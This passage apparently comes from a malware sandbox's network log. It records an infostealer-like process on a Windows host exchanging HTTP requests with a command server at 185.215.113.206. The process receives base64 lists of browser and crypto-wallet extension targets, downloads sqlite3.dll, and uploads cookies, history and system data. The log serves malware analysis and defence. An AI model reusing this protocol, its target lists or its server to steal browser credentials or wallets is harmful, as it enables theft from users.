6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="message"browsers------KEGCBFCBFBKFHIECAFCF--
Dec 2, 2024 11:20:04.815238953 CET	1289	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2VudCBC [TRUNCATED]
Dec 2, 2024 11:20:04.815293074 CET	967	IN	Data Raw: 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 46 55 51 53 56 63 51 32 56 75 64 45 4a 79 62 33 64 7a 5a 58 4a 63 51 58 42 77 62 47 6c 6a 59 58 52 70 62 32 35 63 66 44 64 54 64 47 46 79 66 46 77 33 55 33 52 Data Ascii: GNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21l
Dec 2, 2024 11:20:04.817477942 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCGCFHDHIIIDGCAAEGD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 2d 2d 0d 0a Data Ascii: ------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="message"plugins------FHCGCFHDHIIIDGCAAEGD--
Dec 2, 2024 11:20:05.141901016 CET	1289	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5IFdh [TRUNCATED]
Dec 2, 2024 11:20:05.142092943 CET	1289	IN	Data Raw: 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 64 68 62 47 78 6c 64 48 78 68 61 57 6c 6d 59 6d 35 69 5a 6d 39 69 63 47 31 6c 5a 57 74 70 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 Data Ascii: nwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2Nv
Dec 2, 2024 11:20:05.142220974 CET	1289	IN	Data Raw: 52 6b 5a 6d 4a 6a 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a Data Ascii: RkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb
Dec 2, 2024 11:20:05.142287970 CET	1289	IN	Data Raw: 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d 78 68 61 57 4a 6a 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 Data Ascii: BcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG
Dec 2, 2024 11:20:05.142452002 CET	1289	IN	Data Raw: 64 57 78 30 66 47 6c 6e 61 33 42 6a 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 Data Ascii: dWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWp
Dec 2, 2024 11:20:05.142471075 CET	899	IN	Data Raw: 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d 39 6e 5a 6d 6c 70 59 57 39 6d 63 47 68 69 61 6d 64 Data Ascii: nBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8
Dec 2, 2024 11:20:05.143775940 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAKEBAECGCBAAAAAEBA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 2d 2d 0d 0a Data Ascii: ------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="message"fplugins------EBAKEBAECGCBAAAAAEBA--
Dec 2, 2024 11:20:05.467528105 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 2, 2024 11:20:05.484636068 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKJEHDBGHIEBGCGDGH Host: 185.215.113.206 Content-Length: 5763 Connection: Keep-Alive Cache-Control: no-cache
Dec 2, 2024 11:20:05.484636068 CET	5763	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 Data Ascii: ------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 2, 2024 11:20:06.360451937 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 2, 2024 11:20:06.482191086 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 2, 2024 11:20:06.804721117 CET	1289	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70#N [TRUNCATED]
Dec 2, 2024 11:20:06.804757118 CET	1289	IN	Data Raw: 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 50 03 00 00 00 20 0f 00 00 04 00 00 00 8e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: R@B/92P @B
Dec 2, 2024 11:20:06.804783106 CET	1289	IN	Data Raw: f8 01 77 8c e8 23 fd ff ff 83 ec 0c 85 c0 74 bf 89 7c 24 08 89 5c 24 04 89 34 24 e8 ac f6 0a 00 83 ec 0c 85 c0 89 c5 75 23 83 fb 01 75 a1 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 ea fc ff ff 83 ec 0c eb 8a 90 8d 74 26 00 83 fb 01 75 70 e8 Data Ascii: w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$'
Dec 2, 2024 11:20:06.805039883 CET	1289	IN	Data Raw: e5 8b 55 08 85 d2 74 11 8b 4a 10 85 c9 74 0a 8b 42 04 c6 04 08 00 8b 42 04 5d c3 8b 10 8d 4a 01 89 08 0f b6 12 81 fa bf 00 00 00 76 59 55 0f b6 92 40 9e ec 61 89 e5 53 8b 18 8a 0b 83 e1 c0 80 f9 80 75 11 8d 4b 01 c1 e2 06 89 08 8a 0b 83 e1 3f 01 Data Ascii: UtJtBB]JvYU@aSuK?v"%=t=D[]USI1t9sAvuA@[] gatU$1UttA$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49741	185.215.113.206	80	9140	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:20:17.526472092 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFB Host: 185.215.113.206 Content-Length: 979 Connection: Keep-Alive Cache-Control: no-cache
Dec 2, 2024 11:20:17.526565075 CET	979	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 Data Ascii: ------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Dec 2, 2024 11:20:18.355123997 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 2, 2024 11:20:18.594023943 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIECAAKECFHIECBKJD Host: 185.215.113.206 Content-Length: 1159 Connection: Keep-Alive Cache-Control: no-cache
Dec 2, 2024 11:20:18.594023943 CET	1159	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 Data Ascii: ------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Dec 2, 2024 11:20:19.424834013 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 2, 2024 11:20:19.477405071 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEHJEHDBGHIDGDGHCBG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 45 48 44 42 47 48 49 44 47 44 47 48 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 45 48 44 42 47 48 49 44 47 44 47 48 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 45 48 44 42 47 48 49 44 47 44 47 48 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIEHJEHDBGHIDGDGHCBGContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------IIEHJEHDBGHIDGDGHCBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIEHJEHDBGHIDGDGHCBGContent-Disposition: form-data; name="file"------IIEHJEHDBGHIDGDGHCBG--
Dec 2, 2024 11:20:20.301347971 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49748	185.215.113.206	80	9140	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
